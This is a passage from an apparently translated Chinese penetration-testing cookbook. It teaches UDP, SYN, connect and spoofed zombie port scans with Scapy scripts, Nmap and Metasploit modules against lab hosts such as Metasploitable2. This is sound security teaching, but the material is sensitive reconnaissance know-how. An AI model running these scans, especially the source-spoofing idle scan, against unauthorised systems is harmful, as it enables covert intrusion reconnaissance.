1. 为了构建我们请求的 UDP 层，我们使用与构建 IP 层时相同的技术。在提供的示例中，UDP 对象被赋值给了 u 变量。如前所述，可以通过调用 display() 函数来查看默认配置。在这里，我们可以看到源端口和目标端口的默认值都列为 domain。正如你可能猜到的那样，这是为了指示与端口 53 相关联的 DNS 服务。DNS 是一种常见的服务，通常可以在网络化系统上发现。为了确认这一点，可以通过直接引用变量名和属性来调用其值。然后，可以通过将属性设置为新的端口目标值来修改它，如下所示：

1. 在前面的示例中，目标端口被设置为 123，这是 网络时间协议（NTP）端口。现在我们已经创建了 IP 和 UDP 层，接下来我们需要通过堆叠这些层来构建请求：

1. 我们可以通过用斜杠分隔变量来堆叠 IP 和 UDP 层。然后可以将这些层设置为一个新的变量，代表整个请求。接着，我们可以调用 display() 函数来查看请求的配置。一旦请求构建完成，它可以传递给 sr1() 函数，以便我们分析响应：

1. 也可以在不独立构建和堆叠每一层的情况下执行相同的请求。相反，我们可以通过直接调用函数并传递适当的参数，使用单行命令来完成，如下所示：

1. 请注意，这些请求的响应包含一个 ICMP 包，其中类型字段指示主机不可达，代码字段指示端口不可达。如果 UDP 端口关闭，通常会返回此响应。现在，我们应该尝试修改请求，将其发送到与远程系统实际服务对应的目标端口。为此，我们将目标端口改回端口 53，然后再次发送请求，如下所示：

1. 当相同的请求发送到实际服务时，不会收到任何回复。这是因为系统上运行的 DNS 服务在 UDP 端口 53 上只会响应服务特定的请求。了解这一差异后，可以用于扫描 ICMP 主机不可达的回复，然后通过标记未响应的端口来识别潜在的服务：

        #!/usr/bin/python

        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

        from scapy.all import *
        import time
        import sys

        if len(sys.argv) != 4:
          print "Usage - ./udp_scan.py [Target-IP] [First Port]
            [Last Port]"
          print "Example - ./upd_scan.py 10.0.0.5 1 100"
          print "Example will UDP port scan ports 1 through
            100 on 10.0.0.5"
          sys.exit()
        else:
          ip = sys.argv[1]
          start = int(sys.argv[2])
          end = int(sys.argv[3])

        for port in range(start,end):
          ans = sr1(IP(dst=ip)/UDP(dport=port),timeout=5,verbose =0)
          time.sleep(1)
          if ans == None:
            print port
          else:
            pass

1. 提供的 Python 脚本按顺序向前一百个端口发送 UDP 请求。如果没有收到响应，则认为该端口是开放的。确保通过运行 chmod 777 udp_scan.py 修改文件的权限。运行此脚本后，我们可以识别所有没有返回 ICMP 主机不可达回复的端口：

1. 使用 5 秒的超时来调整由于 ICMP 主机不可达限速所导致的延迟响应。即使在这个相对较大的响应接受窗口下，这种扫描方式有时仍然不可靠。因此，UDP 探测扫描通常是一个更有效的替代方案。

使用 Scapy 进行隐形扫描

以下步骤演示了如何使用 Scapy 进行扫描：

1. 为了演示如何执行 SYN 扫描，我们使用 Scapy 构建一个 TCP SYN 请求，并识别与开放端口、关闭端口和未响应系统相关的响应。

2. 要向任何给定端口发送 TCP SYN 请求，首先需要构建该请求的各层。我们需要构建的第一层是 IP 层：

1. 要为我们的请求构建 IP 层，我们需要将 IP 对象分配给 i 变量。通过调用 display() 函数，我们可以识别该对象的属性配置。默认情况下，发送和接收地址都设置为回送地址 127.0.0.1。可以通过修改目标地址来更改这些值，将 i.dst 设置为我们希望扫描的地址的字符串值。再次调用 display() 函数后，我们可以看到，不仅目标地址已经更新，Scapy 还会自动将源 IP 地址更新为与默认接口关联的地址。

2. 现在我们已经构建了请求的 IP 层，接下来可以进行 TCP 层的构建：

1. 为了构建我们请求的 TCP 层，我们使用与构建 IP 层时相同的技术。在提供的示例中，TCP 对象被分配给 t 变量。如前所述，我们可以通过调用 display() 函数来识别默认配置。在这里，我们可以看到目标端口的默认值是 HTTP 端口 80。对于我们的初始扫描，我们保持默认的 TCP 配置不变。

2. 现在我们已经创建了 IP 层和 TCP 层，我们需要通过堆叠这些层来构建请求，具体如下：

1. 我们可以通过用斜杠分隔变量来堆叠 IP 和 TCP 层。然后，可以将这些层赋值给一个新变量，这个变量将代表整个请求。接着，我们可以调用 display() 函数来查看请求的配置。一旦请求构建完成，它就可以传递给 sr1() 函数，以便我们分析响应，具体如下：

1. 我们可以在不独立构建和堆叠每个层的情况下执行相同的请求。相反，我们可以通过直接调用函数并传递适当的参数，使用一个单行命令，具体如下：

1. 请注意，当 SYN 数据包发送到目标 Web 服务器的 TCP 端口 80 时，服务器在该端口运行 HTTP 服务，响应的 TCP 标志值为 SA，表示 SYN 和 ACK 标志位都被激活。该响应表示指定的目标端口已打开并接受连接。如果同样类型的数据包发送到一个不接受连接的端口，将返回不同的响应：

1. 当一个 SYN 请求发送到一个关闭的端口时，会返回一个 TCP 标志值为 RA 的响应，这表明 RST 和 ACK 标志位都被激活。ACK 标志位只是用来确认请求已被接收，而 RST 标志位则用来终止通信，因为端口不接受连接。或者，如果 SYN 数据包发送到一个处于关闭状态或处于防火墙后面的系统（该防火墙过滤此类请求），则很可能不会收到响应。因此，在脚本中使用 sr1() 函数时，应该始终使用超时选项，以确保脚本不会在无响应的主机上卡住：

1. 如果在对无响应主机使用该函数时未指定超时值，函数将会无限期地继续。在演示中，为函数的完成提供了 1 秒的超时值。可以评估响应值，以确定是否收到了回复。我们来检查一下。

2. 使用 Python 可以轻松测试变量，以识别是否已经通过sr1()函数为其分配了一个值。这可以作为一个初步检查，判断是否接收到了任何响应。对于已接收到的响应，可以执行后续检查，确定该响应是否表示一个开放或关闭的端口。所有这些都可以轻松地在 Python 脚本中按顺序实现，如下所示：

        #!/usr/bin/python

        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

        from scapy.all import *
        import sys

        if len(sys.argv) != 4:
            print "Usage - ./syn_scan.py [Target-IP] [First Port]
              [Last Port]"
            print "Example - ./syn_scan.py 10.0.0.5 1 100"
            print "Example will TCP SYN scan ports 1 through
              100 on 10.0.0.5"
            sys.exit()
        else:
            ip = sys.argv[1]
            start = int(sys.argv[2])
            end = int(sys.argv[3])

        for port in range(start,end):
            ans = sr1(IP(dst=ip)/TCP(dport=port),timeout=1,verbose =0)
            if ans == None:
                pass
            else:
                if int(ans[TCP].flags) == 18:
                    print port
                else:
                    pass

1. 在提供的 Python 脚本中，用户被提示输入一个 IP 地址，然后脚本对定义的端口序列执行 SYN 扫描。接着，脚本评估每次连接尝试的响应，以确定响应中是否激活了 SYN 和 ACK TCP 标志。SYN+ACK 的 TCP 标志是 0x12，即十进制的 18。如果响应中仅包含这些标志，则会输出接收到的相应端口号：

1. 运行脚本后，输出将指示系统中任何开放的前100个端口，并提供 IP 地址：

使用 Scapy 进行连接扫描

让我们执行以下步骤，通过 Scapy 运行连接扫描：

1. 使用 Scapy 运行完整的连接扫描可能比较困难，因为系统内核对你使用 Scapy 修改数据包的行为并不知情，并且试图阻止你与远程系统建立完整的三次握手。

2. 你可以通过发送 SYN 请求并使用 Wireshark 或 TCP dump 嗅探相关流量来看到这种活动的实际操作。

3. 当你从远程系统收到 SYN+ACK 响应时，Linux 内核会将其解释为未经请求的响应，因为它无法得知你在 Scapy 中发出的请求，系统会自动响应一个 TCP RST 数据包，从而终止握手过程。考虑以下示例：

        #!/usr/bin/python

        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        from scapy.all import *

        response = sr1(IP(dst="172.16.69.128")/TCP(dport=80,flags='S'))
        reply = sr1(IP(dst="172.16.69.128")
        /TCP(dport=80,flags='A',ack=(response[TCP].seq + 1)))

1. 这个 Python 脚本可以作为一个概念验证示例，演示系统破坏三次握手的问题。该脚本假设你将其指向一个具有开放端口的实时系统，因此假定在响应初始 SYN 请求时会返回 SYN+ACK 回复。尽管最终的 ACK 回复会被发送以完成握手，但 RST 数据包会阻止连接的建立。

2. 我们可以通过查看发送和接收的数据包进一步演示这一点：

        #!/usr/bin/python

        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        from scapy.all import *

        SYN = IP(dst="172.16.69.128")/TCP(dport=80,flags='S')

        print "-- SENT --"
        SYN.display()

        print "nn-- RECEIVED --"
        response = sr1(SYN,timeout=1,verbose=0)
        response.display()

        if int(response[TCP].flags) == 18:
            print "nn-- SENT --"
            ACK = IP(dst="172.16.69.128")/
            TCP(dport=80,flags='A',ack=(response[TCP].seq + 1))
            response2 = sr1(ACK,timeout=1,verbose=0)
            ACK.display()
            print "nn-- RECEIVED --"
            response2.display()
        else:
            print "SYN-ACK not returned"

1. 在这个 Python 脚本中，每个发送的数据包都会在传输之前显示，每个接收到的数据包都会在到达时显示。通过检查每个数据包中激活的 TCP 标志，可以清楚地看到三次握手失败。请看脚本生成的输出：

1. 在脚本的输出中，可以看到四个数据包。第一个数据包是发送的 SYN 请求，第二个数据包是接收到的 SYN+ACK 回复，第三个数据包是发送的 ACK 回复，随后接收到一个 RST 数据包，作为对最终 ACK 回复的响应。正是这个最终的数据包表明在建立连接时遇到了问题。虽然可以使用 Scapy 完成完整的三次握手，但这需要对本地 iptables 进行一些干扰。具体来说，只有在抑制发送到远程系统的 RST 数据包时，才能完成握手。通过使用 iptables 建立过滤规则，可以丢弃 RST 数据包，从而在不被系统干扰的情况下完成三次握手（不建议在持续使用中使用此配置）。

2. 为了演示完整的三次握手成功完成，我们使用 Netcat 建立了一个监听的 TCP 服务，然后使用 Scapy 尝试连接到打开的套接字：

1. 在提供的示例中，在 TCP 端口4444上打开了一个监听服务。然后，我们可以修改之前讨论过的脚本，尝试连接到端口4444上的 Netcat TCP 服务，如下所示：

        #!/usr/bin/python

        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        from scapy.all import *

        response = sr1(IP(dst="172.16.36.135")/
        TCP(dport=4444,flags='S'))
        reply = sr1(IP(dst="172.16.36.135")/
        TCP(dport=4444,flags='A',ack=(response[TCP].seq + 1)))

1. 在这个脚本中，向监听端口发送了一个 SYN 请求，然后发送了一个 ACK 回复，回应预期的 SYN+ACK 回复。为了验证连接尝试是否仍被系统生成的 RST 数据包中断，应在运行 Wireshark 捕获请求序列时执行此脚本。

2. 我们在 Wireshark 中应用了一个过滤器，以隔离连接尝试序列。使用的过滤器是tcp && (ip.src == 172.16.69.128 || ip.dst == 172.16.69.128)。这个过滤器仅用于显示与被扫描系统之间的 TCP 流量。如下截图所示：

1. 现在我们已经识别出了具体的问题，我们可以建立一个过滤器，允许我们压制该系统生成的 RST 响应。可以通过修改本地 iptables 来建立这个过滤器，如下所示：

按照以下方式修改本地 iptables 会影响系统与目标系统之间的 TCP/IP 事务处理，阻止所有出站的 RST 响应。确保在完成此操作后删除创建的 iptables 规则，或者使用以下命令清空 iptables：iptables --flush。

1. 在提供的示例中，修改了本地的 iptables，以压制所有发送到我们扫描目标地址的 TCP RST 数据包。然后可以使用--list选项查看 iptables 条目并验证配置更改已生效。为了进行另一次连接尝试，我们需要确保 Netcat 仍在目标的端口4444上监听，如下所示：

1. 前面介绍过的相同的 Python 脚本应该再次运行，并让 Wireshark 在后台捕获流量。使用之前讨论过的显示过滤器，我们可以轻松地聚焦于我们需要的流量。注意，三次握手的所有步骤现在已经完成，并且没有受到系统生成的 RST 数据包的干扰，如下图所示：

1. 此外，如果我们查看运行在目标系统上的 Netcat 服务，我们会注意到已经建立了连接。这进一步证实了成功建立连接的证据。

2. 虽然这是一个有用的练习，用于理解和排查 TCP 连接，但重要的是不要让 iptable 规则保持不变。RST 数据包是 TCP 通信的重要组成部分，完全抑制这些响应可能会严重影响正常的通信功能。以下命令可以用来清空我们的 iptables 规则，并验证清空是否成功：

1. 正如示例所示，应该使用 --flush 选项来清除已做的 iptable 条目。我们可以通过使用 --list 选项再次验证 iptable 条目是否已被移除。

使用 Scapy 进行僵尸扫描

所有 IP 数据包中都有一个 ID 号。根据系统的不同，这个 ID 号可能是随机生成的，可能始终为零，或者每发送一个 IP 数据包时，它会递增。如果发现一个主机具有增量的 IPID 序列，并且该主机没有与其他联网系统交互，它可以用作识别其他系统开放端口的手段。我们可以通过发送一系列 IP 数据包并分析响应来识别远程系统的 IPID 序列模式：

如果我们向一个空闲的 Windows 系统发送两个 IP 数据包，我们可以检查响应中 IP 层的 ID 属性的整数值。

请注意，第一个请求的回复 ID 为 61，第二个请求的回复 ID 为 62。

这个主机确实有增量的 IPID 序列，如果假设它保持空闲状态，它可以作为一个有效的僵尸主机进行僵尸扫描：

1. 要执行僵尸扫描，必须先向僵尸系统发送初始的 SYN+ACK 请求，以确定返回的 RST 数据包中的当前 IPID 值。

2. 然后，发送一个伪造的 SYN 数据包到扫描目标，源 IP 地址为僵尸系统的地址。如果端口开放，扫描目标将会向僵尸主机发送一个 SYN+ACK 响应。由于僵尸主机并没有实际发送初始的 SYN 请求，它将会将这个 SYN+ACK 请求视为非预期的，并向目标发送一个 RST 数据包，从而使其 IPID 增加 1。

3. 最后，应向僵尸系统发送另一个 SYN+ACK 数据包，僵尸系统将返回一个 RST 数据包，并再增加一次 IPID。如果 IPID 从最初的响应增加了两次，则表示所有这些事件已经发生，且扫描的系统的目的端口是开放的。

4. 另外，如果扫描目标上的端口关闭，将会发生一系列不同的事件，这些事件只会导致最终的 RST 响应增加一个。如果扫描目标上的目的端口关闭，将会向僵尸系统发送一个 RST 数据包，作为对最初伪造的 SYN 数据包的响应。

5. 由于一个 RST 数据包不会要求回应，僵尸系统的 IPID 值不会增加。因此，作为对 SYN+ACK 数据包响应返回给扫描系统的最终 RST 数据包，其 IPID 只会增加一个。

6. 为了简化此过程，可以编写以下 Python 脚本，该脚本不仅能识别一个可用的僵尸系统，还能对扫描目标执行僵尸扫描：

       #!/usr/bin/python

       import logging
       logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
       from scapy.all import *

       def ipid(zombie):
           reply1 = sr1(IP(dst=zombie)
           /TCP(flags="SA"),timeout=2,verbose=0)
           send(IP(dst=zombie)/TCP(flags="SA"),verbose=0)
           reply2 = sr1(IP(dst=zombie)
           /TCP(flags="SA"),timeout=2,verbose=0)
           if reply2[IP].id == (reply1[IP].id + 2):
               print "IPID sequence is incremental and target appears 
                 to be idle. ZOMBIE LOCATED"
               response = raw_input("Do you want to use this zombie to 
                 perform a scan? (Y or N): ")
               if response == "Y":
                   target = raw_input("Enter the IP address of the
                     target system: ")
                   zombiescan(target,zombie)
           else:
               print "Either the IPID sequence is not incremental or 
                 the target is not idle. NOT A GOOD ZOMBIE"

       def zombiescan(target,zombie):
           print "nScanning target " + target + " with zombie "
            + zombie
           print "n---------Open Ports on Target--------n"
           for port in range(1,100):
                try:
                   start_val = sr1(IP(dst=zombie)
                   /TCP(flags="SA",dport=port),timeout=2,verbose=0)
                   send(IP(src=zombie,dst=target)
                   /TCP(flags="S",dport=port),verbose=0)
                   end_val = sr1(IP(dst=zombie)
                   /TCP(flags="SA"),timeout=2,verbose=0)
       if end_val[IP].id == (start_val[IP].id + 2):
          print port
       except:
           pass

       print "-----------Zombie Scan Suite------------n"
       print "1 - Identify Zombie Hostn"
       print "2 - Perform Zombie Scann"
       ans = raw_input("Select an Option (1 or 2): ")
       if ans == "1":
           zombie = raw_input("Enter IP address to test
            IPID sequence: ")
           ipid(zombie)
       else:
           if ans == "2":
           zombie = raw_input("Enter IP address for zombie system: ")
           target = raw_input("Enter IP address for scan target: ")
           zombiescan(target,zombie)

1. 执行此脚本后，用户会被提示选择两个选项。选择选项1，我们可以扫描或评估目标的 IPID 序列，以确定主机是否是一个可用的僵尸。如果假设该主机处于空闲状态并且 IPID 序列递增，则该主机会被标记为僵尸，用户将被要求使用该僵尸进行扫描。

2. 如果进行扫描，将会为前 100 个 TCP 端口地址执行之前讨论的过程，如下所示：

它是如何工作的…

在这个方案中，UDP 扫描是通过识别那些没有回应 ICMP 端口不可达响应的端口来进行的。由于 ICMP 端口不可达响应通常会被限流，这个过程可能非常耗时。有时它也可能是一种不可靠的方法，因为有些系统不会生成这些响应，而且防火墙通常会过滤 ICMP 响应。

隐匿扫描通过向远程系统上的目标 TCP 端口发送初始 SYN 数据包请求来执行，端口的状态通过返回的响应类型来确定。如果远程系统返回 SYN+ACK 响应，则表示它准备建立连接，可以认为该端口是开放的。如果服务返回 RST 数据包，则表示该端口已关闭，不接受连接。此外，如果没有返回任何响应，则可能表示扫描系统和远程系统之间存在防火墙，防火墙正在丢弃请求。这也可能表示机器已经关闭，或者目的 IP 地址没有对应的系统。

TCP 连接扫描通过执行完整的三次握手来与远程目标系统上所有扫描的端口建立连接。端口的状态基于是否建立了连接来确定。如果建立了连接，则该端口被判定为开放。如果无法建立连接，则该端口被判定为关闭。

僵尸扫描是一种隐蔽的方式，用于枚举目标系统上的开放端口，而不会留下与目标系统交互的痕迹。通过向目标系统发送伪造的请求和向僵尸系统发送合法请求的组合，我们可以通过评估来自僵尸系统的响应的 IPID 值，映射目标系统上的开放端口。

使用 Nmap 进行端口扫描（UDP、隐形扫描、连接扫描、僵尸扫描）

Nmap 可以用于执行 UDP、TCP 隐形扫描、TCP 连接扫描和僵尸扫描。在本节中，我们将讨论如何进行每种类型的扫描。Nmap 执行 UDP 扫描的方法更为复杂，尝试通过注入特定服务的探测请求来识别活动服务，从而获取确认服务存在的正面响应。我们还将讨论 Nmap 如何处理隐形扫描和 TCP 连接扫描。最后，我们将介绍 Nmap 的一种非常有效的扫描模式——僵尸扫描。

准备工作

要使用 Nmap 执行 UDP、TCP 隐形扫描、TCP 连接扫描或僵尸扫描，您需要一台远程系统，该系统正在通过 UDP 和 TCP 提供网络服务。在提供的示例中，使用 Metasploitable2 实例作为扫描目标，使用安装了 Windows XP 的系统作为增量 IPID 僵尸。在提供的示例中，使用了 Linux 和 Windows 系统的组合。

有关如何在本地实验环境中设置系统的更多信息，请参考 第一章 中的 安装 Metasploitable2 和 安装 Windows Server 配方，入门 部分。此外，本节内容将需要使用文本编辑器（如 Vim 或 GNU nano）将脚本写入文件系统。有关如何编写脚本的更多信息，请参考 第一章 中的 使用文本编辑器（Vim 和 GNU nano） 配方，入门 部分。

如何操作…

让我们从使用 Nmap 进行 UDP 扫描开始。

使用 Nmap 进行 UDP 扫描

UDP 扫描通常具有挑战性、耗时且枯燥。许多系统会限制 ICMP 主机不可达回复，这可能会显著增加扫描大量端口和/或系统所需的时间。幸运的是，Nmap 的开发者提供了一个更复杂且更加高效的工具，可以用来识别远程系统上的 UDP 服务。

1. 要使用 Nmap 执行 UDP 扫描，应使用 -sU 选项，并指定要扫描的主机的 IP 地址：

1. 尽管 Nmap 是为了通过自定义有效负载从 UDP 端口请求回复以支持多种服务，但当没有使用其他参数指定目标端口时，它仍然需要大量时间来扫描默认的 1,000 个端口。从输出底部的扫描元数据中可以看到，默认扫描几乎需要 20 分钟才能完成。或者，我们可以通过执行有针对性的扫描来缩短所需的扫描时间，如下命令所示：

1. 如果我们指定需要扫描的特定端口，执行 UDP 扫描所需的时间可以大幅减少。这可以通过执行 UDP 扫描并使用-p选项指定端口来完成。

2. 在前面的示例中，我们仅对端口53进行了扫描，尝试识别 DNS 服务。也可以对多个指定端口进行扫描，如下所示：

1. 在提供的示例中，扫描了前 100 个端口。使用破折号符号并指定要扫描的第一个和最后一个端口来完成此操作。然后，Nmap 会启动多个进程，用于同时扫描这两个值之间的所有端口。

2. 有时，需要对多个系统执行 UDP 分析。可以使用 Nmap 通过破折号符号和定义最后一个八位组的值范围来扫描一系列主机，如下所示：

1. 在提供的示例中，对172.16.69.0/24范围内的所有在线主机进行了扫描。每个主机都被扫描以确定端口53上是否正在运行 DNS 服务。另一种替代选项是使用 IP 地址输入列表扫描多个主机。

2. 为此，应该使用-iL选项，并将其传递为同一目录中文件的名称或其他目录中文件的完整路径。以下是前者的示例：

1. 在提供的示例中，执行了扫描，以确定在执行目录中的iplist.txt文件中的任何系统上，端口123是否正在运行 NTP 服务。

使用 Nmap 进行隐形扫描

与大多数扫描要求一样，Nmap 有一个选项可以简化和优化执行 TCP 隐形扫描的过程：

1. 要使用 Nmap 执行 TCP 隐形扫描，应该使用-sS选项，并指定要扫描的主机的 IP 地址：

1. 在提供的示例中，对指定 IP 地址的 TCP 端口80执行了 SYN 扫描。与使用 Scapy 时解释的技术类似，Nmap 监听响应并通过分析接收到的响应中激活的 TCP 标志来识别开放端口。我们还可以通过传递逗号分隔的端口号列表，使用 Nmap 对多个指定端口进行扫描，如下所示：

1. 在提供的示例中，对指定目标 IP 地址的21、80和443端口进行了 SYN 扫描。我们还可以使用 Nmap 通过指定要扫描的第一个和最后一个端口号（用破折号分隔）来扫描一系列主机：

1. 在提供的示例中，对 TCP 端口20至25进行了 SYN 扫描。除了可以指定要扫描的端口外，Nmap 还预先配置了 1,000 个常用端口的列表。我们可以通过不提供任何端口规格来扫描这些端口，只需运行 Nmap：

1. 在提供的示例中，扫描了 Nmap 定义的 1,000 个常用端口，以识别 Metasploitable2 系统上大量开放端口。虽然这种技术有效地识别了大多数服务，但它可能无法识别较为隐蔽的服务或不常见的端口关联。

2. 如果要对所有可能的 TCP 端口进行扫描，则需要扫描所有可能的端口地址值。定义源端口和目标端口地址的 TCP 头部分长度均为 16 位。此外，每个位可以保持 1 或 0 的值。因此，共有 2¹⁶，即 65,536 个可能的 TCP 端口地址。为了扫描整个可能的地址空间，需要提供一个从 0 到 65535 的端口范围，如下所示：

1. 在提供的示例中，对 Metasploitable2 系统上所有 65,536 个可能的 TCP 地址进行了扫描。请注意，在此扫描中，识别到的服务比标准 Nmap 1,000 扫描识别到的服务要多。这证明了在尝试识别目标的所有可能攻击面时，进行完整扫描始终是最佳实践。Nmap 还可以用于扫描一系列主机的 TCP 端口，使用破折号符号：

1. 在提供的示例中，对指定地址范围内的所有主机的 TCP 端口80进行了 SYN 扫描。尽管此扫描仅在单个端口上执行，Nmap 还可以同时扫描多个系统上的多个端口和端口范围。此外，Nmap 还可以配置为基于输入的 IP 地址列表扫描主机。这可以使用-iL选项，并指定文件名（如果文件存在于执行目录中）或文件路径。然后，Nmap 会循环遍历输入列表中的每个地址，并对该地址执行指定的扫描：

使用 Nmap 进行连接扫描

Nmap 具有一个选项，可以简化并精简执行 TCP 连接扫描的过程：

1. 要使用 Nmap 执行 TCP 连接扫描，应使用-sT选项并指定要扫描的主机的 IP 地址，如下所示：

1. 在提供的示例中，对指定 IP 地址的 TCP 端口80进行了 TCP 连接扫描。类似于使用 Scapy 的技术，Nmap 会监听响应并通过分析收到的响应中激活的 TCP 标志来识别开放端口。我们还可以使用 Nmap 执行多端口扫描，只需传递一个以逗号分隔的端口号列表，如下所示：

1. 在提供的示例中，对指定目标 IP 地址的端口21、80和443进行了 TCP 连接扫描。我们还可以使用 Nmap 通过指定要扫描的第一个和最后一个端口号，并使用短横线符号分隔它们，来扫描一系列顺序主机：

1. 在提供的示例中，对 TCP 端口20至25进行了 TCP 连接扫描。除了可以指定要扫描的端口外，Nmap 还预配置了一个包含 1,000 个常用端口的列表。我们可以通过不提供任何端口规格直接运行 Nmap 来扫描这些端口：

1. 在提供的示例中，扫描了 Nmap 定义的 1,000 个常见端口，以识别 Metasploitable2 系统上的大量开放端口。尽管这种技术在识别大多数服务时有效，但它可能无法识别一些不常见的服务或端口关联。

2. 要扫描所有可能的 TCP 端口，必须扫描所有可能的端口地址值。定义源端口和目标端口地址的 TCP 头部部分均为 16 位长。此外，每个位可以保留 1 或 0 的值。因此，有 2¹⁶，即 65,536 个可能的 TCP 端口地址。为了扫描所有可能的地址空间，需要提供一个端口范围0-65535，如下所示：

1. 在提供的示例中，扫描了 Metasploitable2 系统上的所有 65,536 个 TCP 地址。请注意，在此扫描中识别出的服务数量多于标准 Nmap 1,000 扫描。这证明了当试图识别目标上的所有可能攻击面时，全面扫描始终是最佳实践。Nmap 还可以通过使用短横线符号来扫描一系列顺序主机上的 TCP 端口：

1. 在提供的示例中，对指定主机范围内的所有主机的 TCP 端口80进行了 TCP 连接扫描。虽然此扫描仅针对单个端口进行，但 Nmap 也可以同时扫描多个系统上的多个端口和端口范围。此外，Nmap 还可以配置为基于输入的 IP 地址列表扫描主机。

2. 这可以使用-iL选项完成，然后指定文件名（文件是否存在于执行目录中）或文件的路径。Nmap 然后会遍历输入列表中的每个地址，并对该地址执行指定的扫描，如下所示：

使用 Nmap 进行僵尸扫描

这些步骤将帮助你在 Nmap 上执行僵尸扫描：

1. 也可以使用 Nmap 中的选项执行僵尸扫描。然而，在使用 Nmap 的僵尸扫描之前，我们可以通过扫描整个地址范围并使用 Metasploit 评估 IPID 序列模式，快速找到任何可用的僵尸候选主机。

2. 为此，我们需要通过msfconsole命令打开 Metasploit，并选择 IPID 序列auxiliary模块，如下所示：

1. 此auxiliary模块可以用于扫描一系列连续的主机地址或网络范围（如 CIDR 表示法定义的）。为了提高扫描速度，应将THREADS变量增加到所需的并发任务数，如下所示：

1. 一旦所需的变量值被填充完成，我们可以再次使用show options命令验证扫描配置。然后，可以使用run命令执行 IPID 序列扫描：

1. 当 IPID 序列扫描模块遍历所提供的网络范围时，它将识别已发现主机的 IPID 序列模式，并指示它们是零、随机还是增量。

2. 僵尸扫描的理想候选主机是具有增量 IPID 序列且不会与网络上其他系统频繁交互的主机。一旦识别出增量空闲主机，我们可以使用 Nmap 中的-sI选项，并传递需要用作扫描的僵尸主机的 IP 地址，来执行僵尸扫描：

1. 在提供的示例中，针对扫描目标172.16.69.128的前 100 个 TCP 端口进行了僵尸扫描。172.16.69.128作为空闲主机被用作僵尸主机，并使用了-Pn选项，防止 Nmap 尝试 ping 扫描目标。

2. 在此演示中，我们识别并枚举了所有列出的开放端口，并且从未直接与扫描目标交互。相反，源地址伪造的包被发送到扫描目标，唯一的直接交互是在扫描系统与僵尸主机之间。

它是如何工作的…

尽管 Nmap 仍需应对与 UDP 扫描相关的许多挑战，但它仍然是一个非常有效的解决方案，因为它经过优化，能够使用最有效、最快的技术组合来识别活动服务。

使用 Nmap 进行 SYN 扫描的基本原理与之前讨论的一致。然而，借助多线程能力，Nmap 成为执行这类扫描的快速且高效的工具。

执行 TCP 连接扫描的工具通过执行完整的三次握手来与远程目标系统上的所有扫描端口建立连接。端口的状态是根据是否建立了连接来确定的。如果建立了连接，则该端口被认为是开放的；如果未能建立连接，则该端口被认为是关闭的。

僵尸扫描的基本原理与前面使用 Scapy 执行该任务时讨论的相同。然而，使用 Nmap 的僵尸扫描模式使我们能够使用一个集成的、广为人知的工具快速执行相同的任务。

使用 Metasploit 进行端口扫描（UDP、隐匿和连接）

Metasploit 具有辅助模块，可以用来执行 UDP、SYN 和 TCP 连接扫描。使用 Metasploit 进行扫描以及利用漏洞可以有效减少完成渗透测试所需的工具总数。本示例展示了如何使用 Metasploit 执行端口扫描。

准备工作

要使用 Metasploit 执行 UDP、TCP 隐匿扫描和 TCP 完全连接扫描，你需要一个运行 UDP 和 TCP 网络服务的远程系统。在提供的示例中，使用 Metasploitable2 实例来执行此任务。有关如何设置 Metasploitable2 的更多信息，请参阅 第一章，入门。

如何操作…

让我们从使用 Metasploit 进行 UDP 扫描开始。

使用 Metasploit 进行 UDP 扫描

在定义要运行的模块之前，需要先打开 Metasploit：

1. 要在 Kali Linux 中打开 Metasploit，我们在终端会话中使用 msfconsole 命令，方法如下：

1. 要在 Metasploit 中运行 UDP 扫描模块，我们使用 use 命令，并指定 auxiliary 模块的相对路径。选择模块后，可以使用 show options 命令来识别和/或修改扫描配置。该命令将显示四个列标题，包括：Name（名称）、Current Setting（当前设置）、Required（是否必需）和 Description（描述）。Name 列标识每个可配置变量的名称；Current Setting 列列出任何给定变量的现有配置；Required 列标识是否需要为某个变量提供值；Description 列描述每个变量的功能。任何给定变量的值都可以使用 set 命令修改，并提供新值作为参数：

1. 在提供的示例中，RHOSTS值已更改为我们希望扫描的远程系统的 IP 地址。此外，线程数已更改为20。THREADS值定义了将在后台执行的并发任务数。确定线程值的关键是找到一个合理的平衡点，既能显著提高任务速度，又不会过度消耗系统资源。对于大多数系统，20个线程是一个快速且相对安全的并发进程数量。更新必要的变量后，可以再次使用show options命令验证配置。一旦验证了所需的配置，即可启动扫描，如下所示：

1. run命令用于在 Metasploit 中执行选定的auxiliary模块。在所提供的示例中，run命令执行了针对指定 IP 地址的 UDP 扫描。udp_sweep模块也可以使用破折号符号对一系列地址进行扫描：

1. 在提供的示例中，对通过RHOSTS变量指定的十个主机地址执行了 UDP 扫描。同样，RHOSTS也可以用来通过 CIDR 表示法定义网络范围，如下所示：

使用 Metasploit 进行隐匿扫描

Metasploit 具有一个auxiliary模块，可用于对指定的 TCP 端口执行 SYN 扫描：

1. 在 Kali Linux 中打开 Metasploit，我们在终端会话中使用msfconsole命令，如下所示：

1. 要在 Metasploit 中运行 SYN 扫描模块，使用use命令并指定auxiliary模块的相对路径。一旦选择了模块，可以使用show options命令来识别和/或修改扫描配置。此命令会显示四个列标题，分别是Name（名称）、Current Setting（当前设置）、Required（是否必需）和Description（描述）。Name列标识每个可配置变量的名称，Current Setting列列出了任何给定变量的现有配置，Required列标识是否需要为任何给定变量提供值，最后，Description列描述了每个变量的功能。可以使用set命令和提供的新值作为参数来更改任何给定变量的值：

1. 在提供的示例中，RHOSTS 值更改为我们希望扫描的远程系统的 IP 地址。此外，线程数更改为 20。THREADS 值定义了将在后台执行的并发任务数。确定线程值的关键是找到一个良好的平衡，以便显著提高任务速度，同时不过度消耗系统资源。对于大多数系统，20 个线程是一个快速且相对安全的并发进程数。PORTS 值设置为 TCP 端口 80（HTTP）。更新必要的变量后，可以使用 show options 命令再次验证配置。一旦验证了所需的配置，可以按如下方式启动扫描：

1. run 命令在 Metasploit 中用于执行所选的 auxiliary 模块。在提供的示例中，run 命令执行了对指定 IP 地址的端口 80 进行的 TCP SYN 扫描。我们还可以通过提供第一个和最后一个端口值，并使用破折号表示法，运行该 TCP SYN 扫描模块以扫描一系列连续的 TCP 端口：

